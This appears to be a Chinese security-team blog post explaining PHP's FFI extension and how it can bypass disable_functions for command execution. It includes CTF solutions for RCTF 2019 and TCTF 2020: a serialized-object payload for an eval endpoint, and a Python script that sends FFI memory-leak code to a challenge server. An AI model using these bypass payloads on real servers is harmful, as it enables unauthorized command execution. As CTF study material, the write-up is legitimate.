点击蓝字,关注我们
本文作者:Match(团队成员)
本文字数:2300
阅读时长:10min
附件/链接:点击查看原文下载
声明:请勿用作违法用途,否则后果自负
本文属于WgpSec原创奖励计划,未经许可禁止转载
扩展简介
FFI 是在 PHP 7.4 版本中新加入的,此扩展允许在 PHP 代码中加载共享库(.DLL 或 .so),调用 C 函数及访问 C 数据结构,简单的说就是允许在 PHP 中运行 C 代码,可以方便的调用C语言的各种库,但同时它的使用伴随着很大的风险
使用配置
使用 FFI 首先要开启扩展,在 php.ini 中去掉 extension=ffi 前面的 ; 并且修改 ffi.enable=true 即可使用,在phpinfo() 中可以查看是否开启了此扩展
基本用法
FFI :: cdef 创建一个新的 FFI 对象
public static FFI::cdef ([ string $code = "" [, string $lib ]] ) : FFI
<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("echo Hello World>./ttmp");
echo file_get_contents("./ttmp");
?>
结果为
Hello World
FFI :: new 创建一个C数据结构
public static FFI::new ( mixed $type [, bool $owned = TRUE [, bool $persistent = FALSE ]] ) : FFI\CData
<?php
$x = FFI::new("int");
var_dump($x->cdata);
$x->cdata = 5;
var_dump($x->cdata);
$x->cdata += 2;
var_dump($x->cdata);?>
结果为
int(0)int(5)int(7)
FFI :: load 加载 C 文件
public static FFI::load ( string $filename ) : FFI
FFI :: cast 执行C类型转换
public static FFI::cast ( mixed $type , FFI\CData &$ptr ) : FFI\CData
FFI :: string 从内存区域创建一个PHP字符串
public static FFI::string ( FFI\CData &$ptr [, int $size ] ) : string
FFI :: memcpy 将一个存储区复制到另一个
public static FFI::memcpy ( FFI\CData &$dst , mixed &$src , int $size ) : void
命令执行
这意味着如果目标机器开启了这一扩展,我们就有了一种全新的命令执行方式,在 system 被禁用的情况下,则可使用 FFI 来进行命令执行,例如在题目中执行 /readflag 并获取 flag,同时它也可以加载自定义链接库
<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("/readflag > /tmp/123");echo file_get_contents("/tmp/123");
@unlink("/tmp/123");?>
这段代码首先创建了一个新的 FFI 对象调用 Linux 库的 int system(const char* command) 函数,作用是把 command 指定的命令名称或程序名称传给要被命令处理器执行的主机环境,并在命令完成后返回。之后我们就可以通过这种方式来调用 system 函数执行命令并将结果输出到临时文件,再读取文件内容并显示在页面,最后删除创建的临时文件
类似的方法在蚁剑的 bypass disable_function 中可自动调用,但受到目录权限和 open_basedir 的限制导致很多情况下并不起作用
在一些大型的比赛中,则更需要灵活的运用
比赛真题
RCTF 2019
在 2019 年的 RCTF 中,出现了一道通过反序列化调用 FFI 扩展的命令执行,在 BUUCTF 中提供了复现环境
题目代码:
<?php if (isset($_GET['a'])) {eval($_GET['a']);
} else {
show_source(__FILE__);
}
禁用了
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl
open_basedir 被限制在 /var/www/html/
另外的 prepare.php 中关键代码
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
......
}
可以看出这里需要通过反序列化调用 FFI 模块执行命令
payload:
<?php final class A implements Serializable {protected $data = ['ret' => null,'func' => 'FFI::cdef','arg' => 'int system(const char* command);'
];public function serialize (): string {return serialize($this->data);
}public function unserialize($payload) {$this->data = unserialize($payload);$this->run();
}
}
$ccc = new A();echo serialize($ccc);?>
传入内容为:
?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char* command);";}}');var_dump($a->ret->system('ls'));
即可利用 FFI 扩展进行命令执行
TCTF 2020
同样,在今年的 TCTF 中也出现了 FFI 的内容,比赛中一共有两道相关题目,都是连接 shell 后需要通过 FFI 绕过限制执行文件
题目代码:
<?php if (isset($_GET['rh'])) {eval($_GET['rh']);
} else {
show_source(__FILE__);
}
第一题可直接读取根目录 flag.h 文件获取方法名 flag_fUn3t1on_fFi,之后通过 eval 函数执行 FFI 脚本即可
$ffi = FFI::load("/flag.h");var_dump(FFI::string($ffi->flag_fUn3t1on_fFi()));
第二题无法读取文件,并且禁用了 cdef ,需要通过泄露内存获得方法名进而执行命令,脚本转自一叶飘零师傅博客
import requests
url = "http://pwnable.org:19261"
params = {"rh":
'''
try {$ffi=FFI::load("/flag.h");
//get flag
//$a = $ffi->flag_wAt3_uP_apA3H1();
//for($i = 0; $i < 128; $i++){
echo $a[$i];
//}$a = $ffi->new("char[8]", false);$a[0] = 'f';$a[1] = 'l';$a[2] = 'a';$a[3] = 'g';$a[4] = 'f';$a[5] = 'l';$a[6] = 'a';$a[7] = 'g';$b = $ffi->new("char[8]", false);$b[0] = 'f';$b[1] = 'l';$b[2] = 'a';$b[3] = 'g';$newa = $ffi->cast("void*", $a);
var_dump($newa);$newb = $ffi->cast("void*", $b);
var_dump($newb);$addr_of_a = FFI::new("unsigned long long");
FFI::memcpy($addr_of_a, FFI::addr($newa), 8);
var_dump($addr_of_a);$leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false);
FFI::memcpy($leak, $newa-0x20000, 102400);$tmp = FFI::string($leak,102400);
var_dump($tmp);
//var_dump($leak);
//$leak[0] = 0xdeadbeef;
//$leak[1] = 0x61616161;
//var_dump($a);
//FFI::memcpy($newa-0x8, $leak, 128*8);
//var_dump($a);
//var_dump(777);
} catch (FFI\Exception $ex) {
echo $ex->getMessage(), PHP_EOL;
}
var_dump(1);
'''
}
res = requests.get(url=url,params=params)
print((res.text).encode("utf-8"))
Reference:
https://www.php.net/manual/zh/book.ffi.php
https://skysec.top/2020/06/27/2020-TCTF-Online-Web-WriteUp/
团队招收CTF:WEB、PWN、区块链,安全研究方向的同学
扫描关注公众号回复加群,和师傅们一起讨论研究~
扫码关注我们
微信号:wgpsec
Twitter:@wgpsec
分享、在看与点赞,至少我要拥有一个吧
Hello 邀请码D598A43E1A9F1F4B8B5B715F52583D15